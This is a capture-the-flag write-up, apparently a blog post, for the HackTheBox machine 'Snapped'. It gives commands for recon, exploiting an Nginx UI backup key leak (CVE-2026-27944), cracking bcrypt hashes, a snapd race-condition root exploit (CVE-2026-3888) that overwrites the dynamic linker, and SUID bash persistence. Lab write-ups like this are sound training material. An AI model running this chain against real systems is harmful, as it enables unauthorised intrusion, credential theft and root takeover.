Platform: HackTheBox
Difficulty: Medium
OS: Linux
Reconnaissance
We begin with a standard nmap scan to identify open ports and running services.
nmap -sC -sV -A MACHINE-IP -oA output_file
Enter fullscreen mode Exit fullscreen mode
Open ports:
Port Service 22 SSH (tcpwrapped) 80 nginx/1.24.0 — redirects tohttp://snapped.htb/
The scan reveals two services: SSH on port 22 and an nginx web server on port 80 that redirects to snapped.htb. We add the hostname to /etc/hosts and browse to port 80. The landing page offers no obvious attack surface — no login forms, no file uploads, nothing interactive. This tells us enumeration is the next logical step.
Vhost Enumeration
Since the main domain is quiet, there may be virtual hosts (subdomains) serving different applications on the same IP. We fuzz for them using ffuf.
ffuf -u http://snapped.htb -H "HOST: FUZZ.snapped.htb"
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
Enter fullscreen mode Exit fullscreen mode
Result: admin.snapped.htb (HTTP 200)
We add admin.snapped.htb to /etc/hosts and navigate to it. A login page appears — this is the Nginx UI admin panel. Default credentials (admin:admin, admin:password, etc.) all fail, so we don’t try to brute force the login. Instead, we investigate what the application exposes before authentication.
API Endpoint Discovery
While browsing the admin panel, we notice that a request to /api/install returns HTTP 200 — even without logging in. This hints that the API may not enforce authentication consistently. We run a directory brute force specifically against the /api/ path.
feroxbuster -u http://admin.snapped.htb/api/
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-C 500,403,404 -t 30 -d 3
Enter fullscreen mode Exit fullscreen mode
Discovered endpoints:
Endpoint Status/api/install
200
/api/backup
200
/api/licenses
200
The /api/backup endpoint stands out immediately — a backup endpoint that returns HTTP 200 without any credentials is a significant finding. We probe it manually with curl.
CVE-2026-27944 – Nginx UI Backup Disclosure
Fetching /api/backup unauthenticated returns a ZIP archive. But what really catches the eye is the response header:
curl -v http://admin.snapped.htb/api/backup --output backup.zip
Enter fullscreen mode Exit fullscreen mode
X-Backup-Security: MgzdI0XJazQ2pR+7FC1BHFZQWxltjcKkp2AqhZcV2QI=:qeClzKyylJyq73sCCc5DJQ==
Enter fullscreen mode Exit fullscreen mode
This is CVE-2026-27944. Nginx UI encrypts its backup with AES-256, but then leaks the encryption key and IV directly in a response header — X-Backup-Security contains <Base64 AES key>:<Base64 IV>. Any unauthenticated attacker who requests the backup also receives everything needed to decrypt it. The encryption provides zero security.
A public PoC handles decryption and even creates a new admin user as a bonus:
git clone https://github.com/Skynoxk/CVE-2026-27944
cd CVE-2026-27944
python exploit_enhanced.py --target http://admin.snapped.htb --decrypt --create-user hacker --password Pwned@123!
Enter fullscreen mode Exit fullscreen mode
The decrypted backup contains a nginx-ui/ directory with a database.db SQLite file — the application’s entire user database.
Credential Extraction & Hash Cracking
We inspect the database to find stored user accounts.
sqlite3 database.db
sqlite> .tables
sqlite> select * from users;
Enter fullscreen mode Exit fullscreen mode
Two records are returned: admin and jonathan, each with a bcrypt password hash. The $2a$10$ prefix identifies these as bcrypt with cost factor 10.
We save the hashes to a file and run hashcat against the rockyou wordlist:
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode
-m 3200 is the hashcat mode for bcrypt $2*$. One of the hashes cracks successfully, giving us jonathan‘s plaintext password.
User Flag
With valid credentials for jonathan, we try SSH — and the password works, confirming credential reuse between the web application and the system account.
ssh [email protected]
Enter fullscreen mode Exit fullscreen mode
jonathan@snapped:~$ cat user.txt
HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode
Privilege Escalation – CVE-2026-3888 (snapd Race Condition)
Background
After landing as jonathan, we look for privilege escalation paths. The system is running a vulnerable version of snapd. The SUID binary snap-confine (used by snapd to set up application sandboxes) is at the center of this exploit.
Here is how the vulnerability works:
-
snap-confineruns as SUID root and creates a temporary sandbox directory under/tmp/.snap/ - systemd’s
tmpfilesservice is configured (via/usr/lib/tmpfiles.d/tmp.conf) to clean/tmpevery 4 minutes:D /tmp 1777 root root 4m - When the cleanup deletes
.snap, there is a brief window between deletion and recreation where an attacker can place their own directory or symlink in its place -
snap-confinewill then operate on the attacker-controlled path — allowing arbitrary file writes as root - By targeting the dynamic linker (
ld-linux-x86-64.so.2) inside the sandbox’s root filesystem, we can make any SUID binary load our malicious shared library and execute code as root
Preparation
On our attack machine, we compile two components:
gcc -O2 -static -o firefox_2404 firefox_2404.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell.c
Enter fullscreen mode Exit fullscreen mode
-
firefox_2404— the race condition exploit binary; it monitors/tmp/.snapdeletion and rapidly swaps directories at the right moment to win the race -
librootshell.so— a malicious shared library crafted to execute arbitrary code when loaded; it will replace the real dynamic linker inside the sandbox
Upload both to the target:
scp firefox_2404 librootshell.so [email protected]:~/
Enter fullscreen mode Exit fullscreen mode
Exploitation
The exploit requires three coordinated terminal sessions.
Terminal 1 – Start the sandbox and note the PID
We invoke snap-confine directly with a clean environment to start the sandbox process. This creates the /tmp/.snap/ directory that the exploit targets.
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine
--base core22 snap.firefox.hook.configure /bin/bash
Enter fullscreen mode Exit fullscreen mode
Inside the sandbox shell, record the PID — we’ll need it to navigate via /proc later:
cd /tmp && echo $$
Enter fullscreen mode Exit fullscreen mode
Now keep the /tmp directory “touched” (preventing aggressive cleanup) while still allowing .snap to be deleted when its timer fires:
while test -d ./.snap; do touch ./; sleep 1; done
Enter fullscreen mode Exit fullscreen mode
This loop runs until .snap is deleted by systemd, signalling that the race window has opened.
Terminal 2 – Break cached namespaces and weaken the sandbox
We navigate into the sandbox’s current working directory via procfs — this gives us access even through namespace restrictions:
cd /proc/PID/cwd
Enter fullscreen mode Exit fullscreen mode
We then escape the cached namespace context by spawning a new systemd scope:
systemd-run --user --scope --unit=snap.d$(date +%s) /bin/bash
Enter fullscreen mode Exit fullscreen mode
Next, we intentionally trigger a failing snap-confine invocation using an invalid base:
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine
--base snapd snap.firefox.hook.configure /nonexistent
Enter fullscreen mode Exit fullscreen mode
This is expected to fail. The value it provides is that it leaves the mount namespace in an inconsistent state, reducing the sandbox’s ability to detect or prevent our manipulation.
Trigger the race:
~/firefox_2404 ~/librootshell.so
Enter fullscreen mode Exit fullscreen mode
firefox_2404 watches for .snap deletion, and the moment it happens, it swaps the directory with our controlled path. Successful output reads trigger detected and swap done. If neither appears, restart from Terminal 1 and wait for the next 4-minute cleanup cycle.
Terminal 3 – Inject the payload into the poisoned filesystem
The exploit writes a file race_pid.txt containing the PID of the new root-level process. We read it and jump into that process’s root filesystem via procfs:
PID=$(cat /proc/ORIGINAL_PID/cwd/race_pid.txt)
cd /proc/$PID/root
Enter fullscreen mode Exit fullscreen mode
/proc/<PID>/root gives us a view of the filesystem as seen by the target process — and because we won the race, this is now our controlled sandbox environment.
We place a usable shell binary inside the sandbox (the environment is minimal, so we use busybox):
cp /usr/bin/busybox ./tmp/sh
Enter fullscreen mode Exit fullscreen mode
Now the critical step — we overwrite the dynamic linker with our malicious shared library:
cat ~/librootshell.so > ./usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
Enter fullscreen mode Exit fullscreen mode
Every dynamically linked binary on Linux loads ld-linux first before executing. Since snap-confine is SUID root, when it next runs and loads any dynamically linked binary, it will load our fake linker — which executes our payload as root.
Trigger root code execution:
We invoke snap-confine one more time. It is SUID root, it is dynamically linked, and its linker is now ours:
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine
--base core22 snap.firefox.hook.configure /usr/lib/snapd/snap-confine
Enter fullscreen mode Exit fullscreen mode
/ # id
uid=0(root) gid=1000(jonathan) groups=1000(jonathan)
Enter fullscreen mode Exit fullscreen mode
We have a root shell inside the sandbox.
Persistence
The sandbox environment is restrictive and ephemeral. We copy bash to a location outside the sandbox and set the SUID bit so we can re-enter root from jonathan‘s session at any time:
cp /bin/bash /var/snap/firefox/common/bash
chmod 4755 /var/snap/firefox/common/bash
exit
Enter fullscreen mode Exit fullscreen mode
Back in jonathan’s normal shell, invoking bash with -p preserves the effective UID (root):
/var/snap/firefox/common/bash -p
Enter fullscreen mode Exit fullscreen mode
bash-5.1# id
uid=1000(jonathan) gid=1000(jonathan) euid=0(root) groups=1000(jonathan)
bash-5.1# cat /root/root.txt
HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode
Tools Used
Tool Purpose nmap Port/service enumeration ffuf Vhost fuzzing feroxbuster API endpoint discovery curl Manual HTTP requests CVE-2026-27944 PoC Backup decryption + user creation sqlite3 Database inspection hashcat Bcrypt hash cracking gcc Compile race condition exploit scp File upload to target systemd-run Namespace escapeAttack Chain
Recon (nmap)
└─ Port 80 → snapped.htb
└─ Vhost fuzzing (ffuf)
└─ admin.snapped.htb → login page
└─ /api/backup (unauthenticated, feroxbuster)
└─ CVE-2026-27944 — AES key in X-Backup-Security header
└─ Decrypt backup ZIP
└─ Extract database.db (SQLite)
└─ Crack bcrypt hash (hashcat -m 3200)
└─ SSH as jonathan (user.txt)
└─ CVE-2026-3888 — snapd race condition
└─ Overwrite ld-linux dynamic linker
└─ SUID snap-confine → root code exec
└─ SUID bash → root.txt
Enter fullscreen mode Exit fullscreen mode
Key Vulnerabilities
# Vulnerability Impact 1 Unauthenticated/api/backup endpoint (Nginx UI)
Download of sensitive backup ZIP without auth
2
CVE-2026-27944 — AES key/IV leaked via X-Backup-Security header
Full backup decryption by any unauthenticated user
3
SQLite database exposed in backup
User credentials (bcrypt hashes) extracted
4
Weak/crackable bcrypt password
Offline crack via hashcat + rockyou.txt
5
Credential reuse across services
SSH login as jonathan
6
SUID snap-confine binary
Attack surface for privilege escalation
7
CVE-2026-3888 — snapd race condition
Arbitrary file overwrite as root
8
Predictable /tmp cleanup (4-minute window)
Exploitable race window
9
Namespace escape via /proc filesystem
Access to restricted sandbox directories
10
Dynamic linker overwrite (ld-linux-x86-64.so.2)
Attacker-controlled code execution as root
11
Insufficient sandbox isolation
Malicious modifications persist
12
SUID bash persistence
Stable reusable root shell
답글 남기기